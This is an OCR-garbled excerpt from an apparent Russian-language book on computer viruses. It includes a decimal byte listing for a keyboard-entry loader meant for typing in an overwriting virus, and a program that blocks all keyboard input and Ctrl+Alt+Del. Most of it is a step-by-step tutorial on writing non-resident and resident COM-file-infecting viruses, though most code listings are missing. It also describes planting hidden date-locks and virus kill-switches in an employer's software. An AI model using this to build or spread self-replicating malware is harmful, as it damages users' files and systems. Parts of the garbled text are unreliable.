О сути вирусов Как уже отмечалось, наиболее опасны как раз не катастрофические повреж дения винчестера или дискет (при адекватном архивировании это означает максимум потерю одного дня работы), а мелкие, незаметные изменения файлов данных. В ча стности, известен вирус, который ищет файлы типа DBF, и найдя внутри файла чис ловое поле, меняет местами две рядом стоящие цифры. По степени разрушительности вирусы можно условно разделить на два типа: "иллюзионисты" и "вандалы". Основным приоритетом при конструировании "иллю зионистов" является демонстрация какого-нибудь экзотического звукового или визу ального эффекта типа бегающего шарика, осыпающихся букв и т.д. В качестве основного приоритета при конструировании "вандалов" является обеспечение как можно более скрытого размножения, с тем чтобы фазе разрушения (детонации), уничтожающей и зараженный файл (дискету) с данным экземпляром вируса (при разрушении таблицы FAT, форматизации и других подобных действиях), предшест вовало определенное число незамеченных размножений. При этом наблюдается интересная взаимосвязь: если вирус демонстрирует нетривиальный визуальный или звуковой эффект, то скорее всего он не выполняет массированного разрушения данных. Поэтому, если неизвестный вирус демонстри рует какой-то изощренный эффект, то повышаются шансы на то, что он не выполня ет массированных разрушений файловой системы. Психологически примитивный вандализм типа разрушения файлов или форматирования диска, наверное, в большей степени присущ примитивным личностям, страдающим комплексом неполноценно сти, неспособным на конструктивную деятельность. Ведь давно замечено, что "ло мать — не строить": хотя написание вируса в современных условиях нельзя называть конструктивной деятельностью, все же встроить в вирус программу разрушения FAT значительно проще, чем программу падения букв на экране дисплея. Перед вами демонстрационная программа, которая производит перестановки значений некоторых клавиш, что при определенных обстоятельствах может быть эасценено как деструктивная функция. Но в некоторых случаях она может быть ис пользована как защита файлов от юзера. Выполняется блокирование F8 и "перепутывание" F5 и F6.
i
О сути вирусов
И в довершение всего приведу еще одну программу. Данная процедура до вольно часто исмользуется вирусными программами. Она переключает монитор в другой режим работы — 80x50 символов на VGA и теоретически 80x43 на EGA.
Средства изоляции Для защиты от вирусов разработаны уже самые различные концепции: Сис тема, оснащенная лишь жестким диском (без дискет), "усеченной" операционной си стемой (без DEBUG, LINK и пр.) и прикладными программами, не позволяющая вводить новые программы. Но это утверждение, хотя на первый взгляд оно и кажет-
82
О сути вирусов ся логичным, не только неверно, но и опасно, если пользователь, доверившись такой концепции, утратит бдительность. Теперь читатель может спросить, как же ввести программу в ЭВМ, если ЭВМ не имеет ни накопителя на гибких магнитных дисках (я правда не встречал таких компьютеров), ни ассемблера, ни отладчика. Решение совершенно очевидно. С помо щью резидентной функции СОРУ MS-DOS может скопировать и любой введенный с клавиатуры файл. Поскольку обычно вместе с клавишей ALT могут вводиться не все коды ASCII, нужно вначале сгенерировать входную программу, воспользовавшись следующей командой; СОРУ CON INH.COM (Десятичные числа вводить при нажатой клавише ALT) . 049 192 162 064 001 180 060 185 032 032 186 057 001 205 033 080 187 065 002 184 007 012 178 255 205 033 136 007 067 129 251 093 004 117 240 088 137 195 180 064 185 028 002 186 065 002 205 033 180 062 144 205 033 180 076 205 033 086 073 082 046 067 079 077 Принцип действия программы ввода; Поскольку NUL не может быть введена с консоли, имя файла программы должно завершаться ООНЕХ. 2075:0100 31С0 XOR АХ,АХ 2075:0102 А24001 MOV 0140 ,AL Создать и открыть файл 2075:0105 В43С MOV АН,ЗС 2075:0107 В92020 MOV СХ,2020 2075.-010А ВА3901 MOV DX,0139 2075:010В СВ21 INT 21 Обращение к стеку 2075:010В 50 PUSH AX Считать в цикле 540 байтов без эхо-контроля по консоли и записать в буфер. 2075:0110 ВВ4102 MOV ВХ,0241 2075:0113 В8070С MOV AX,0C0 7 2075:0116 B2FF MOV BL, FF 2075:0118 СВ21 INT 21 •• 2075:011А
8807
MOV
BX
,AL
2075.-011С 43 INC BX 2075.-011D 81FB5D04 CMP BX, 045D 2075:0121 75FB JN2 0113 Завершить обработку стека 2 0 7 5 : 0 1 2 3 58 POP AX Записать содержимое буфера в файл 2075:0124 89СЗ MOV ВХ,АХ 2075:0126 В440 MOV АН,40
О сути вирусов
Закрыть файл
Завершить программу
Имя генерируемого файла стоит перед буфером:
После того, как программа запущена с помощью INP, можно вводить с клавиа туры все коды ASCII (но без эхо-контроля, т.е. без отображения вводимых данных на экране). Лишь код NUL должен вводиться с помощью ALT 2 (с использованием верх них цифровых клавиш клавиатуры). С помощью такой программы можно ввести при веденную ниже программу-вирус. Речь здесь идет о перезаписывающем вирусе. После 540 байтов ввод завершается автоматически и программа VIR.COM сгенерирована.
84
О сути вирусов
Тот. кто обладает хорошей памятью, может даже запомнить эти колонки цифр. Хороший оператор по вводу данных мог бы ввести вирус с клавиатуры при мерно за пять минут. Точно также можно работать и через интерфейс СОМ и даже (с помощью другой вспомогательной программы) через интерфейс параллельного печатающего устройства.
Программисты Эта книга до последнего времени мало уделяла внимания кругу лиц, имею щих наилучшие возможности для доступа к ЭВМ, т.е. программистам. Для многих организаций-разработчиков программного обеспечения программы обычно снабжа-
85
О сути вирусов ются блокировкой по дате, которую можно снять лишь тогда, когда полностью ула жены взаимные расчеты, хотя многие узнают об этом лишь при изучении настоящей книги. Такие методы, возможно, находятся где-то на грани дозволенных, но если бы точно знать, чего нельзя делать, когда это делается просто потому, что не знаешь точ но, что и когда следовало бы делать. Итак, если блокировка по дате вводится тогда, когда не произведены расчеты, то это не является блокировкой по дате, а скорее ошибкой в программе, которую каждый раз можно устранить. Но почему должны программисты поступать не так, как дозволено фирмам, производящим программное обеспечение? В некодированном тексте это может быть определенный запрос, который про граммист встраивает в программу своего работодателя. Так, например, могло бы про веряться существование файла TEMRSSS. Естественно, такой служащий позаботится о том, чтобы этот файл постоянно имелся в наличии. Если ему придется уволиться, его последователь с гарантией обнаружит на первый взгляд избыточный файл и уда лит его. Откуда ему знать, что этот файл содержит сведения, препятствующие распро странению созданного его предшественником вируса? Рассуждения такого рода могут завести очень далеко. Еще одна опасность распространения вирусов возникает при тестировании программного продукта при его приобретении или при изменениях. Если там появляется потенциальный покупа тель или программист, чтобы проверить, будет ли работать его программное обеспе чение на ЭВМ поставщика ХУ, кто бы отказал в такой просьбе?
Ломать, не строить Тот, кто знает о сложности компьютерных систем, всегда удивляется тому, что ожидаемый отказ системы происходит совсем не часто. А ведь ошибка даже одного отдельного бита в оперативной памяти может привести к прерыванию работы. А по тому чрезвычайно легко такого рода ошибку сгенерировать. Отказ системы представ ляется пользователю ситуацией, когда не удается вызвать извне программу обычным порядком. Либо ввод игнорируется полностью, либо ввод приводит к совершенно иному, неожиданному результату. Пользователям бытовых компьютеров более старо го типа известны красочные отказы системы, которыми эти приборы "радуют" своих обладателей время от времени. Сегодня все чаще сталкиваются с "тихими" отказами, когда компьютер отказывается от приема любой входной информации. Это объясня ется изменившейся структурой аппаратных средств. Если раньше процессор сам должен был заботиться об изображении на экране и о выводе звуковых сигналов, то сегодня эти задачи переданы специальным чипам. Потому отказ прежних моделей бытовых компьютеров выглядели на экране или в звуковом сопровождении куда бо лее эффектно. Важно различать два вида отказов системы. "Истинные" отказы системы со вершенно не поддаются контролю, и невозможно определить, какие части програм мы выполнены процессором. Отказы такого рода обусловлены загрузкой слишком многих резидентных: программ, ошибками в программах или аппаратными сбоями.
86
О сути вирусов "Смоделированные" отказы внешне выглядят так же, но не являются полно стью неконтролируемыми. Они происходят внутри определенных задач, которые не поддаются контролю со стороны пользователя. Такими задачами могут быть форма тирование жестких дисков, стирание секторов или манипуляции с файлами. В ре зультате того, что все контрольные функции передаются пользователем системе, невозможно прервать запущенный процесс. Это можно сделать лишь путем аппарат ного сброса или путем отключения питания. Но пока это удастся сделать, пройдет несколько секунд, которых в любом случае достаточно для того, чтобы разрушить все записи каталога жесткого диска. Основной задачей при генерации отказа является блокировка любого ввода с клавиатуры или возможности прерывания с клавиатуры. Потому здесь нужно разли чать несколько этапов: 1. Блокируются возможности прерывания процессов "изнутри" программы. 2. Блокируется прерывание с помощью клавиш Л с. 3. Блокируется прерывание с помощью клавиш Alt + Control + Del. 4. Отвергаются все виды прерываний. Четвертую форму вряд ли можно реализовать на обычных системах, посколь ку установку можно отключить просто по питанию. Правда, существует аварийное питание, которое при отказе сети позволяет продолжать работу. Но, поскольку здесь используется дополнительное устройство, можно просто вынуть штекер блока ава рийного питания. Но все три другие формы фатального сбоя можно сгенерировать довольно просто. В первом случае исключить программную обработку сигналов соответствую щих клавиш прерывания. Эту форму, безусловно, нет необходимости рассматривать подробно. И блокировка клавиш Ctrl — С не представляет собой слишком сложную задачу. Это можно сделать описанием "Вгеак OFF" в config. sys или на командном уровне. Еще эффективнее переключение интерфейса консоли на левое устройство. В этом случае буфер клавиатуры также не заполняется. Лишь для блокировки функций Alt + Ctrl + Del от программиста требуется немного больше умения. Программа, распечатка которой приводится ниже, блокирует любой ввод с клавиатуры. Невозможен и "горячий" запуск. В остальном система остается полно стью работоспособной. Такую программу можно ввести с помощью deBug и хранить под именем повгеак.сот.
87
О сути вирусов Пояснение функции программы: считываете^ вектор прерывания 4. Это чаще всего неиспользуемый вектор. Результат помешается в es и вх.
Преобразовать вектор прерывания 9. Это прерывание с клавиатуры. Оно преоб разовывается в вектор переполнения 4. Этот вектор обычно указывает на команду iret. В результате любой ввод "перехватывается".
Обычное завершение программы:
Если включить nobreak com. в программу пакетной обработки, то можно убе диться в ее эффективности.
Если эту программу запустить, пакетное задание выполняется, причем нико им образом нельзя вмешаться в его выполнение, разве что, выключив питание, вы нув штекер сетевого прибора. Если клавиатура блокируется, это не всегда является для пользователя недостатком. Для некоторых приложений, когда процесс ни в коем случае нельзя прерывать (прямой доступ к контроллеру, описанный выше), может иметь смысл блокировка любого вида прерываний.
Должны быть границы Все представленные в предыдущих разделах программы отличаются тем, что хотя они и доставляют пользователю неприятности, но реальной опасности не пред ставляют. Они должны были лишь продемонстрировать, насколько легко внедриться в систему и выполнить там задуманные манипуляции. Может быть, того или иного читателя удивит, что описанные манипуляции не связаны напрямую с программамивирусами. Естественно, описанные подходы не слишком оригинальны и не новы.
88
Разработка нерезидентной вирусной СОМ-программы
Разработка нерезидентной вирусной СОМ-программы После проведенной артподготовки можно приступить собственно к теме дан ной книги. Как же создаются вирусы? От читателя потребуется хотя бы смутное представление о том, что такое язык Ассемблера и с чем его едят. Все нежеприведенные коды снабжены подробнейшими комментариями, которые помогут разобраться, что к чему. Напомню, что основная мысль книги — доказать, что тот, кто умеет на писать вирус, тот умеет и избавиться практически от любого вируса. Данная глава написана по мотивам известной книги П.Л.Хижняка.
Загрузка и выполнение СОМ-программы Для того, чтобы дальнейшее изложение стало более понятным, следует не много рассказать о действиях MS DOS при запуске программы типа СОМ. Для запу ска программ в системе MS DOS используется специальная функция EXEC. Действия этой функции при запуске СОМ-программы выглядят так: 1. Запускаемой программе отводится вся свободная в данный момент оперативная память. Сегментная часть начального адреса этой памяти обычно называется на чальным сегментом программы. 2. По нулевому смещению в сегменте, определяемом начальным сегментом про граммы, EXEC строит специальную служебную структуру — так называемый PSP (Program Segment Prefix), в котором содержится информация, необходимая для правильной работы программы. Заполняет PSP операционная система (ОС), а его размер всегда равен 100h (256) байт. 3. Сразу вслед за PSP загружается сама СОМ-программа. 4. EXEC выполняет настройку регистров процессора. При этом устанавливаются та кие значения : CS=DS-SS=ES указывают на начальный сегмент программы, ре гистр IP инициализируется числом 100h, а регистр SP — числом Offieh. 5. Теперь загруженную СОМ-программу можно исполнить. Для этого EXEC переда ет управление по адресу CS : 100h. После завершения программы управление пе редается обратно в EXEC, а оттуда программе предку. Таким образом, по адресу CS : 100h обязательно должна стоять первая испол няемая команда. Чаще всего это команда перехода, но допустимо использовать и дру гие. Следует также напомнить, что в MS DOS размер СОМ-файла не может превышать 64 Кбайт. В самом деле, ведь СОМ-формат предполагает размещение программных кодов, данных и стека в одном сегменте оперативной памяти. А размер сегмента как раз и ограничен 64 Кбайтами.
ОУ
Разработка нерезидентной вирусной СОМ-программы
Как вирус может заразить СОМ-файл Под заражением понимают присоединение вирусом своего кода к файлу. При этом вирус должен так модифицировать заражаемый файл, чтобы получить управле ние при его запуске. Существует несколько методов заражения СОМ-программ. Вирусный код мо жет записываться в конец, начало и даже в середину файла. Каждый из этих спосо бов имеет свои достоинства и недостатки. Мы же рассмотрим запись вирусного кода в конец файла. Такой прием используется в подавляющем большинстве вирусов, и обеспечивает хорошие результаты при сравнительно простой реализации. Итак, вирус записывает свой код в конец файла. Для того, чтобы при старте этот код получил управление и начал выполняться, во время заражения программа несколько модифицируется. С этой целью используется трехбайтовая команда прямого ближнего перехо да. Вирус записывает эту команду вместо первых трех байт заражаемого файла, а ис ходные три байта сохраняет в своей области данных. Теперь при запуске зараженной программы код вируса всегда будет выполняться первым.
Работа вируса в зараженной программе Получив управление при старте зараженной программы, вирус выполняет следующие действия: 1. Восстанавливает в памяти компьютера исходные три байта этой программы. 2. Ищет на диске подходящий СОМ-файл. 3. Записывает свое тело в конец этого файла. 4. Заменяет первые три байта заражаемой программы командой перехода на свой код, сохранив предварительно исходные три байта в своей области данных. 5. Выполняет действия (возможно и деструктивные), предусмотренные автором. 6. Передает управление зараженной программе. Поскольку в СОМ-файле точка вхо да всегда равна CS : 100h, можно не выполнять сложных расчетов, а просто вы полнить переход на этот адрес. Если же подходящих для заражения СОМ-файлов найдено не было, то вирус просто осуществляет переход на начало зараженной программы, из которой он и стартовал. После этого зараженная программа выполняется как обычно. Сам вирусный код выполняется очень быстро и для пользователя ЭВМ этот процесс остается незаметным. Стоит заметить, что п.5 может вообще не выполнять ся. Существуют вирусы, которые никак не проявляют себя, кроме размножения (на пример, VIENNA 534). Вместе с тем есть и такие, которые способны нанести определенный вред файлам или диску. Например, вирус ANTI_EXE мешает нор мально работать с ЕХЕ файлами, DARK AVENGER записывает бессмысленную ин формацию в случайные сектора диска, a ONEHALF шифрует сектора на винчестере один за другим. Все зависит от изобретательности автора.
90
Разработка нерезидентной вирусной СОМ-программы
Как начинается распространение вируса Очевидно, чтобы вирус распространился, его нужно внедрить в вычислитель ную систему. Делается это так: . Автор разрабатывает вирусную программу. Обычно для этой цели используется язык ассемблера, так как программы, написанные на нем, выполняются очень бы стро и имеют малый размер. Хотя есть вирусы, написанные на языке TURBO С и даже на TURBO PASCAL. 2. Исходный текст программы компилируется, и из него создается исполняемый файл (обычно типа СОМ). Этот файл предназначен для того, чтобы "выпустить вирус на свободу". Назовем программу, записанную в этом файле, запускающей. 3. Запускающая программа выполняется на машине, которую необходимо заразить. 4. Выпущенный на свободу вирус выполняет действия, описанные ранее. Различие заключается только в выполнении п.1. А именно — при восстановлении в памяти исходных трех байтов программы на их место записывается команда перехода, пе редающая управление коду завершения запускающей программы. Таким образом, при выполнении п.6 управление будет отдано операционной системе, а на диске образуется зараженный файл. При копировании этого файла на другие компьюте ры и их запуске вирус начнет распространяться. Итак, займемся разработкой СОМ-вируса.
Начало работы Для разработки вируса лучше всего использовать СОМ формат. Это сделает его отладку более простой и наглядной. Кроме того, структура СОМ-программы на много проще и понятнее, чем структура программы в формате ЕХЕ. Поэтому напишем стандартное начало СОМ программы :
•
Директива "assume cs:prg, ds:prg, es:prg, ss:prg" назначает все сегментные ре гистры одному сегменту с именем PRG, а директива "org 100h" нужна для резерви рования места для PSP.
Вирус получает управление После этого вступления начинается собственно исполняемая часть програм мы ( метка START ) :
Команда "jmp vir" передает управление вирусному коду, а директива "org 11 Oh" указывает компилятору размещать все коды после метки "vir", начиная с адреса 11 Oh.
91
Разработка нерезидентной вирусной СОМ-программы Число 110h принято для удобства расчета смещений при разработке вируса. Чуть поз же мы разберемся, зачем понадобилась команда "jmp vir", а пока продолжим:
Поскольку в зараженной программе область данных вируса будет сдвинута хотя бы на длину этой программы, необходимо выполнить коррекцию регистра DS. Коррекция осуществляется прибавлением к его содержимому длины программы в параграфах, округленной в большую сторону. Например, длина программы составля ет 401 байт. Тогда она содержит 25 полных параграфов и еще 1 байт. Округленное число параграфов будет равно 26. Эта величина и прибавляется к регистру DS. При заражении вирус рассчитывает корректирующее число и записывает его в область "add_to_ds". Теперь всякий раз при запуске зараженной программы оно будет ис пользоваться вирусом для исправления DS. В запускающей программе DS корректи ровать не нужно, и поэтому для нее "add_to_ds" равно нулю.
Восстанавливаем зараженную программу Как было указано ранее, вирус должен после запуска зараженной программы восстановить в памяти компьютера ее исходные три байта (не на диске, а только в па мяти!). Пусть вирус хранит исходные три байта в области "o!d_bytes".
Вы уже знаете, что в СОМ-программе при ее загрузке по адресу CS: 100h все гда находится первая исполняемая команда. В остальном работа фрагмента ясна.
Запоминаем содержимое DTA Data Transfer Arrea (DTA) является одной из служебных структур MS DOS. Эта область находится в PSP по смещению 80h, и активно используется последней при работе с файлами. Например, многие функции MS DOS обращаются к DTA для чтения или модификации ее содержимого. Поскольку DOS строит PSP для каждой вновь запускаемой программы, для каждой из них создается и своя DTA. Так как наш вирус будет использоваться при заражении и поиске файлов функции DOS, содержимое DTA зараженной программы будет испорчено, и она, ско-
92
Разработка нерезидентной вирусной СОМ-программы рее всего, не будет нормально работать. Поэтому содержимое DTA необходимо со хранить. Для этой цели выделим массив из 128 байт с именем "old_dta":
Работа фрагмента пояснений не требует.
Ищем подходящий файл Теперь самое время заняться поиском файла для заражения. Для поиска фай ла-жертвы мы будем использовать пару функций DOS:4Eh (поиск первого файла) и 4Fh (поиск следующего файла). При вызове 4Eh в регистр СХ помещаются атрибу ты искомого файла, а в DX — его имя и расширение. Установленная нами маска предполагает поиск СОМ-файла, с атрибутами "archive", "system" и "hidden". Функ ция 4Fh используется уже после того, как функция 4Eh нашла первый файл, удовле творяющий нашим требованиям. Вирус будет вызывать ее в том случае, если найденный файл ему не подходит (например, он слишком велик). Имя найденного файла описанной выше функции помещают в DTA по смещению 01 eh. А теперь посмотрите на программный фрагмент, выполняющий поиск файла:
|
93
Разработка нерезидентной вирусной СОМ-программы
Имя файла в буфере "fn" необходимо стирать вот почему. Например, первым был найден файл COMMAND. COM, и пусть он не подошел вирусу. Тогда вирус по пытается найти следующий файл. Пусть это будет WIN.COM. Его имя запишется в область "fn", и она примет вид: WINMAND.COM. Такого файла на диске, скорее все го, нет; если же попробовать к нему обратиться, это вызовет ошибку, и вирус закон чит работу. Чтобы этого не случалось, область "fn" после каждого файла очищается. При ошибках в выполнении системных функций управление передается на метку "restore jita". Затем вирус восстанавливает DTA зараженной программы и осуществ ляет переход на ее начало.
Читаем исходные три байта Итак, вирус нашел СОМ-программу, которую теперь следует заразить. Но сна чала необходимо сохранить первые три байта этой программы. Для этого файл нужно сначала открыть, а затем считать его первые три байта, что и реализуют приведенные ниже программные строки. Напомним, что имя файла хранится в строке "fn".
Выполняем необходимые расчеты В этом пункте мы покажем, как вирус проводит расчет корректирующего чис ла для регистра DS, а также смещения на свой код. Напомним, что это смещение за писывается в начало заражаемого файла и зависит от его длины. Исходной величиной для расчета служит длина заражаемого файла, которую DOS вместе с именем найденного файла и рядом других его характеристик помещает в DTA. Раз мер записывается в DTA по смещению OlAh (младшее слово) ICh (старшее). Так как длина СОМ-файла не может быть больше 65535 байт, она помещается в младшее слово целиком. А слово по смещению 01 Ch обнуляется!
94
Разработка нерезидентной вирусной СОМ-программы
Вы уже, конечно, поняли, что вирус будет округлять размер заражаемой программы до целого числа параграфов в большую сторону. Например, пусть файл имеет длину 401 байт. Тогда вирус запишет в DI значение 416 (25 целых парагра)Ов, и еще один байт даст округленное значение 416). В "new_bytes" запишется число: 416-3=413, а в "add_to_ds" будет помещено значение: 26-1=25. Чтобы лучше понять работу фрагмента, рекомендую вам посмотреть пункт. И еще — подумайте, зачем нужна команда "dec ax". Надеюсь, вы без труда в этом раз беретесь!
Проверяем файл на зараженность Мы, кажется, слишком увлеклись работой и не заметили одной очень важной детали. Ведь может случиться, что найденный нами файл уже заражен предлагаемым вирусом, а мы об этом даже не догадываемся! Поэтому наш вирус заразит эту про грамму еще раз. В принципе, количество заражений ничем не ограничено. Програм ма будет расти, пока не достигнет размера более 65535 байт, а после этого перестанет >аботать. Чтобы такого не произошло, введем проверку на зараженность. Например,
95
Разработка нерезидентной вирусной СОМ-программы в конец каждого заражаемого файла будем записывать цифру "7", а при заражении проверять ее наличие.
Можно, конечно, провести более совершенную проверку зараженности, нашей же целью было просто показать, как защитить файлы от повторного заражения. Чита тель при желании сам легко внесет необходимые изменения в создаваемую программу.
Заражаем СОМ-программу Наконец, подходящий для заражения СОМ-файл найден. Он еще не заражен нашим вирусом и имеет приемлемый размер. Поэтому самое время заняться зараже нием. Здесь мы только его реализуем:
96
Разработка нерезидентной вирусной СОМ-программы
При записи первых трех байт в файл помещается команда перехода на код ви руса. Все остальное можно понять из приведенных комментариев.
Восстанавливаем DTA Для корректной работы зараженной программы восстановим ее DTA. Напом ним, что вирус "прячет" ее в массиве "old_dta". Поэтому:
Передаем управление зараженной программе Работа вируса окончена. Теперь он должен отдать управление программе-но сителю. Как мы выяснили, для этой цели достаточно выполнить переход на адрес CS: 100h. Поэтому занесем в стек содержимое CS, и затем — число 100h. А после этого выполним команду RET FAR. Она снимет с вершины стека записанные туда значения и передаст управление по определяемому ими адресу:
Область данных вирусной программы Настало время привести данные, которыми оперирует наш вирус. Вот они:
97
Разработка нерезидентной вирусной СОМ-программы
Завершаем запускающую программу Для завершения запускающей вирус программы мы используем стандартную функцию DOS, а именно — 4Ch:
Вы, наверное, заметили, что в запускающей программе при восстановлении первых трех байт по адресу CS:100h записывается команда перехода на метку "prg_end". После передачи управления на эту метку вирус отдает управление MS DOS. Если бы в самом начале нашего вируса не было команды "jmp vir", то за пись по адресу CS:100h перехода на метку " prg_end " разрушила бы команды push ax mov ax,ds В результате в заражаемый файл попал бы вирусный код с испорченными первыми байтами. Это наверняка привело бы к полной неработоспособности фай ла — жертвы. В нашем же случае будет разрушена лишь команда "jmp vir". Посколь ку в файл она не записывается, нас это не интересует.
Листинг нерезидентного СОМ-вируса Как видите, вирус написан, и пора привести его текст. Этим мы сейчас и зай мемся:
98
Разработка нерезидентной вирусной СОМ-программы
Если вы когда-нибудь читали книгу г-на Хижняка, только что приведенная про грамма покажется вам знакомой. Строго говоря, наш вирус написан "по мотивам" этой, в общем совсем неплохой, книги. "Книжный" вирус существенно переработан, исправ лены замеченные ошибки и глюки. Несмотря на это, поступок автора трудно назвать плагиатом. Просто затронутая в работе П.Л. Хижняка тема получила новое развитие.
Комментарии Вирус, который мы разработали, отыскивает программы для заражения лишь в том каталоге, из которого был запущен зараженный файл. Понятно, что в этом слу чае большой заразностью он не обладает. Но во-первых, мы идем от простого к слож ному, и следующие наши программы будут более эффективными. А во-вторых, эта разработка лишь преследовала цель показать основные приемы изготовления вирус ных программ. Кроме того, чрезмерная сложность наверняка отпугнула бы читателя.
Испытание вируса ВНИМАНИЕ!!! Скопируйте в отдельный каталог с вирусом несколько СОМ-файлов. Отком пилируйте исходный текст и запустите полученный СОМ-файл, содержащий в себе вирусный код. Проблем с компиляцией быть не должно, так как программа тщатель но тестировалась, но могут возникнуть проблемы если программа неправильно на брана, так что уделите внимание проверке набранной программы. Понаблюдайте, как вирус заражает файлы. Попробуйте запустить зараженную программу под управле нием отладчика и в автоматическом режиме. И, наконец, проверьте зараженную про грамму с помощью DOCTOR WEB.
102
Разработка резидентной СОМ-программы
Разработка резидентной СОМ-программы Понятие резидентного (TSR) вируса ^зидентными называют вирусы, которые после запуска зараженной проюмещают свой код в оперативную память. Этот код "занимается" зараженим файлов и находится в памяти в течение всего сеанса работы. Резидентные вирусы обычно намного заразнее нерезидентных и распростраяются быстрее. Однако создать такой вирус не так просто. Кроме того, резидентные фусные программы подвержены всевозможным сбоям и могут конфликтовать с усановленным на компьютере программным обеспечением. Но несмотря на все трудости, возникающие при разработке резидентных вирусов, их было создано великое ножество. В предлагаемой вниманию читателей главе рассказывается о приемах создаия TSR-вирусов, поражающих СОМ-файлы. Кроме того, освещаются основные юблемы, с которыми приходится встречаться при их разработке.
Несколько слов о резидентных программах Вы, наверное, знаете, как строятся резидентные программы. В этом пункте ы немного поговорим об их организации и функционировании. Резидентными называют программы, которые после своего завершения остатся в памяти и активизируются при наступлении каких-либо событий в вычислиельной системе. Такими событиями могут быть, например, нажатие "горячей" омбинацни клавиш, выполнение некоторых операций с дисками и т.п. Но в любом лучае программа получает управление при тех или иных условиях. Все резидентные программы строятся одинаково или почти одинаково и сотоят из двух секций — секции инициализации и собственно резидентной части. 'езидентная часть, как правило, состоит из одной или нескольких подпрограмм-об)аботчиков прерываний и находится в памяти во время сеанса работы компьютера, акие подпрограммы могут полностью подменять собой системные обработчики ли только служить их дополнением. Естественно, для того, чтобы резидентная асть получила управление, необходимо заменить соответствующие вектора в таблие векторов прерываний на точки входа в заново установленные обработчики. Эту )ункцию и выполняет секция инициализации, которая всегда выполняется при запуке программы первой. После перехвата прерываний, которые должна обрабатывать резидентная асть, секция инициализации завершает программу, используя для этой цели прерываие или функцию резидентного завершения MS DOS. В результате резидентная часть
103
Разработка резидентной
СОМ-программы
остается в памяти и активизируется в случаях, предусмотренных автором программы. Часть инициализации в процессе работы больше не потребуется, поэтому оставлять ее в памяти бессмысленно, и она "затирается " MS DOS в случае необходимости.
Алгоритм работы резидентного СОМ-вируса Рассмотрим один из возможных алгоритмов работы резидентного СОМ-ви руса. По своей сути резидентный вирус отличается от обычной резидентной про граммы только тем, что он размножается сам по себе, независимо от желания пользователя. Значит, построить его можно по той же схеме, по которой пишутся обычные TSR-программы. Но сначала выясним, что должны делать секция инициа лизации вируса и его резидентная часть. Итак: Секция инициализации выполняет следующие действия: 1. Получает управление при запуске зараженной программы. 2. Проверяет, установлена ли в память резидентная часть вируса. 3. Восстанавливает в памяти компьютера исходные три байта этой программы. 4. Если резидентная часть не установлена, выполняются следующие действия : а). Отыскивается свободный блок памяти достаточного для размещения вируса размера. б). Код вируса копируется в найденный блок памятц. в). В таблице векторов прерываний соответствующие вектора заменяются точка ми входа в вирусные обработчики. г). Выполняется переход на начало зараженной программы (на адрес CS:100h). После этого программа выполняется, как обычно. В том случае, если резидентная часть вируса уже находится в памяти, он про сто передаст управление зараженной программе. Резидентная часть выполняет следующие действия: 1. Анализирует все вызовы системного прерывания INT 21h с целью выявить пере ход оператора в новый каталог или смену текущего диска. 2. Если обнаружится смена текущего диска или каталога, резидентная часть должна: а). Сохранить исходное состояние вычислительной системы. б). Найти на диске подходящий СОМ-файл. в). Записать тело вируса в конец этого файла. г). Заменить первые три байта заражаемой программы командой перехода на ви русный код, сохранив предварительно исходные три байта в своей области данных. д). Восстановить исходное состояние вычислительной системы и передать ей управление.
104
Разработка резидентной СОМ-программы Если оператор не будет менять текущий каталог или диск, вирус, очевидно, ничего заразить не сможет. Как вы уже заметили, заражением файлов занимается ис ключительно резидентная часть! Секция инициализации нужна только для инсталля ции вируса в память. Кроме того, в отличие от обычной резидентной программы, в вирусе эта секция записывается в память вместе с резидентной частью. Иначе при за писи ее в заражаемый файл возникли бы серьезные трудности. Из рассказанного в этом пункте легко сделать вывод о том, насколько рези дентный вирус должен быть устроен сложнее обычного. Вместе с тем, в его написа нии нет ничего магического, и вы без труда разберетесь в следующей программе.
Заголовок вируса Для разработки вируса мы, как и раньше, будем использовать СОМ формат. Естественно, в резидентном вирусе будут использованы некоторые блоки, созданные нами в предыдущей главе. Поэтому на их работе мы останавливаться не будем, а вме сто этого сделаем акцент на новых приемах, реализованных в программе. Итак, начнем :
Приведенные команды и директивы выполняют те же самые функции, что и ана логичные, использованные нами при создании нерезидентной вирусной программы.
Вирус начинает работу Несколько забегая вперед, отметим, что наш вирус будет работать так; 1. Обработчик прерывания Int 21h отслеживает смену оператором текущего катало га или диска. Если пользователь действительно сменил диск или каталог, то пере менная TG_INFECT устанавливается в единицу. 2. Обработчик прерывания Int 28h вызывается DOS всякий раз, когда можно, не бо ясь зависаний, обращаться к системным функциям, работающим с файлами. По этому естественно возложить на него задачу поиска и заражения файлов. Исходя из этого процедура обработки Int 28h проверяет значение TG__INFECT, и, если оно равно единице, выполняет поиск и заражение файлов. После перехода на метку "vir" начинается исполнение вирусной программы. (Собственно это и есть начало обработчика прерывания Int 28h.)
Разработка резидентной
СОМ-программы
Обратите внимание на команду, записанную в машинном коде сразу за меткой "vir". Сейчас мы попробуем разобраться, зачем она потребовалась. Как вы знаете, наш вирус должен быть резидентным и состоять из двух частей. При этом секция инициализации исполняется только в транзитном (нерезидентном) режиме, а рези дентная часть — только в резидентном.
играет роль "переключателя" между транзитным и резидентным кодами. При заражении вирус записывает в файл команду перехода, которая при запуске заражен ного файла передает управление на "push_len" байт вперед, где как раз и начинается секция инициализации. Если же попытаться выполнить эту команду в резидентном режиме, т.е. когда код вируса получил управление, находясь в памяти, это приведет к зависанию компьютера. Чтобы такого не происходило, секция инициализации при установке вирусного кода в память записывает сразу за меткой "vir" две команды "Ж)Р",иликод: 909Gh. Все приведенные далее команды относятся к резидентной части. После запи си флагов в стек вирус проверяет состояние переменной "tg_infect", и, если она рав на " 1 " , переходит к метке "vir_2". Если же "tg_infect" равна "0",то вирус просто вызывает старый обработчик INT 28h и отдает управление прерванному процессу. Чуть позже мы рассмотрим, как формируется значение переменной "tg_jnfect". По скольку приводимый обработчик активно работает со стеком, есть смысл предусмо треть в нем собственный стек. Поэтому сразу за меткой "vir_2" запишем команды, переключающие стек на специальную область данных вируса "newstack":
106
Разработка резидентной СОМ-программы Последней запишем команду, сбрасывающую "tginfect" в ноль. Этим мы за щитим вирусный код от повторного вхождения. Теперь необходимо вызвать старый обработчик INT 28h, иначе наш вирус бу дет "топить" другие резидентные программы, которые перехватывают это же преры вание. Поэтому запишем:
